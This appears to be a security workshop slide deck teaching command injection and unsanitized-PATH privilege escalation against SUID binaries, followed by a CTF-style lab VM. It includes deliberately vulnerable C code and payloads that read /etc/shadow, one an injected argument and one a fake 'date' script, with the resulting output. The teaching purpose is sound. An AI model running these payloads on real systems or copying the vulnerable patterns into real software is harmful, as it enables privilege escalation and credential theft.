MISC

Application Level Binary Vulnerabilities Workshop

While you wait…

Download the .ova (~700MB) file for today's workshop:

Option 1 -
Get it at **https://tinyurl.com/yyrnkww2**
(Some people have reported the download has issues on Chrome – try Firefox)

Option 2 -
Get it via USB being passed around

You will also need some virtualization software
(VirtualBox, VMware Fusion OK – others should also be OK but not tested)

What is ‘Application Level’?

Low level exploitation:

- Stack overflow
- Use after free
- Race condition
- DEP/ROP/ASLR/PIE/CFI etc

What is ‘Application Level’?

Low level exploitation:

- Stack overflow
- Use after free
- Race condition
- DEP/ROP/ASLR/PIE/CFI etc

High level exploitation:

- Unsanitized PATH
- Command injection
- Time of check/time of use bugs

What is ‘Application Level’?

Low level exploitation:

- Stack overflow
- Use after free
- Race condition
- DEP/ROP/ASLR/PIE/CFI etc

High level exploitation:

- Unsanitized PATH
- Command injection
- Time of check/time of use bugs

They can be exploited without low-level/asm knowledge

What is SUID?

```c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
        system("/usr/bin/whoami");
}
```

What is SUID?

```
#include <stdio.h>
#include <stdlib.h>

int main(void) {
        system("/usr/bin/whoami");
}
```

```
bash$ ls -l
-rwxr-xr-x 1 root guest 8608 May 13 12:14 nosuid
-rwsr-xr-x 1 root guest 8608 May 13 12:14 suid
```

What is SUID?

```
#include <stdio.h>
#include <stdlib.h>

int main(void) {
        system("/usr/bin/whoami");
}
```

```
bash$ ls -l
-rwxr-xr-x 1 root guest 8608 May 13 12:14 nosuid
-rwsr-xr-x 1 root guest 8608 May 13 12:14 suid
```

```
bash$ ./nosuid
guest
bash$ ./suid
root
```

Command Injection

Find the bug!

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
        char cmd[512];
        if (argc != 2) return 1;
        if (snprintf(cmd, 512, "/bin/echo '%s'", argv[1]) >= 512) {
                printf("Input too long!\n");
                return 1;
        }
        system(cmd);
        return 0;
}
```

Command Injection

Find the bug!

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
        char cmd[512];
        if (argc != 2) return 1;
        if (snprintf(cmd, 512, "/bin/echo '%s'", argv[1]) >= 512) {
                printf("Input too long!\n");
                return 1;
        }
        system(cmd);
        return 0;
}
```

Constructs "/bin/echo '{argv[1]}'"

Runs it as a shell command

Command Injection

```
snprintf(cmd, 512, "/bin/echo '%s'", argv[1])
```

Input: `MISC rocks!`
Output: `/bin/echo 'MISC rocks!'`

Command Injection

```
snprintf(cmd, 512, "/bin/echo '%s'", argv[1])
```

Input: `MISC rocks!`
Output: `/bin/echo 'MISC rocks!'`

Input: `a'; cat '/etc/shadow`
Output: `/bin/echo 'a'; cat '/etc/shadow'`

Command Injection

```
snprintf(cmd, 512, "/bin/echo '%s'", argv[1])
```

Input: `MISC rocks!`
Output: `/bin/echo 'MISC rocks!'`

Input: `a'; cat '/etc/shadow`
Output: `/bin/echo 'a'; cat '/etc/shadow'`

Command Injection

```
bash$ ./buggy "MISC Rocks!"
MISC Rocks!
bash$ ./buggy "a'; cat '/etc/shadow"
a
root:*:17431:0:99999:7:::
daemon:*:17431:0:99999:7:::
bin:*:17431:0:99999:7:::
sys:*:17431:0:99999:7:::
sync:*:17431:0:99999:7:::
games:*:17431:0:99999:7:::
man:*:17431:0:99999:7:::
…
```

Unsanitized PATH

How can something with no user input be exploitable?

```c
#include <stdlib.h>

int main(void) {
        system("date");
        return 0;
}
```

Unsanitized PATH

How does bash 'know' where to look for our command?

```
bash$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
bash$ ls –la /bin
-rwxr-xr-x 1 root root 1037528 May 16  2017 bash
-rwxr-xr-x 1 root root  520992 Jun 16  2017 btrfs
-rwxr-xr-x 1 root root  249464 Jun 16  2017 btrfs-calc-size
lrwxrwxrwx 1 root root       5 Jun 16  2017 btrfsck -> btrfs
-rwxr-xr-x 1 root root  278376 Jun 16  2017 btrfs-convert
...
-rwxr-xr-x 1 root root   68464 Mar  3  2017 date
...
-rwxr-xr-x 1 root root    1910 Oct 27  2014 zmore
-rwxr-xr-x 1 root root    5047 Oct 27  2014 znew
```

Unsanitized PATH

How does bash 'know' where to look for our command?

```
bash$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
bash$ ls -la /bin
-rwxr-xr-x 1 root root 1037528 May 16  2017 bash
-rwxr-xr-x 1 root root  520992 Jun 16  2017 btrfs
-rwxr-xr-x 1 root root  249464 Jun 16  2017 btrfs-calc-size
lrwxrwxrwx 1 root root       5 Jun 16  2017 btrfsck -> btrfs
-rwxr-xr-x 1 root root  278376 Jun 16  2017 btrfs-convert
...
-rwxr-xr-x 1 root root   68464 Mar  3  2017 date
...
-rwxr-xr-x 1 root root    1910 Oct 27  2014 zmore
-rwxr-xr-x 1 root root    5047 Oct 27  2014 znew
```

Finds it in /bin, which is part of our PATH variable

Unsanitized PATH

We can eliminate PATH completely:

```
bash$ ./vuln
Mon May 13 19:01:31 STD 2019
```

Unsanitized PATH

We can eliminate PATH completely:

```
bash$ ./vuln
Mon May 13 19:01:31 STD 2019
bash$ PATH='' ./vuln
sh: 1: date: not found
```

Unsanitized PATH

We can eliminate PATH completely:

```
bash$ ./vuln
Mon May 13 19:01:31 STD 2019
bash$ PATH='' ./vuln
sh: 1: date: not found
```

Unsanitized PATH

We can eliminate PATH completely:

```
bash$ ./vuln
Mon May 13 19:01:31 STD 2019
bash$ PATH='' ./vuln
sh: 1: date: not found
```

What happens if we make our own date command?

Unsanitized PATH

```
bash$ cat /tmp/date
#!/bin/sh
/bin/cat /etc/shadow
bash$ chmod 777 /tmp/date
```

Unsanitized PATH

```
bash$ cat /tmp/date
#!/bin/sh
/bin/cat /etc/shadow
bash$ chmod 777 /tmp/date
bash$ PATH=/tmp ./vuln
root:*:17431:0:99999:7:::
daemon:*:17431:0:99999:7:::
bin:*:17431:0:99999:7:::
sys:*:17431:0:99999:7:::
sync:*:17431:0:99999:7:::
games:*:17431:0:99999:7:::
man:*:17431:0:99999:7:::
…
```

Try for yourself!

Download the .ova at **https://tinyurl.com/yyrnkww2** (try Firefox)
In your VM software you should be able to 'import' the .ova
Login/password is **guest:guest**
(You can also SSH into the box if you have host/guest networking!)

Four levels:
1) Command injection
2) Unsanitized PATH
3) Integer overflow (bonus)
4) TOCTOU bug (bonus, harder)
Find them in `/home/level1` etc – flag is in the directory
Source code is given for each challenge (no binary reversing!)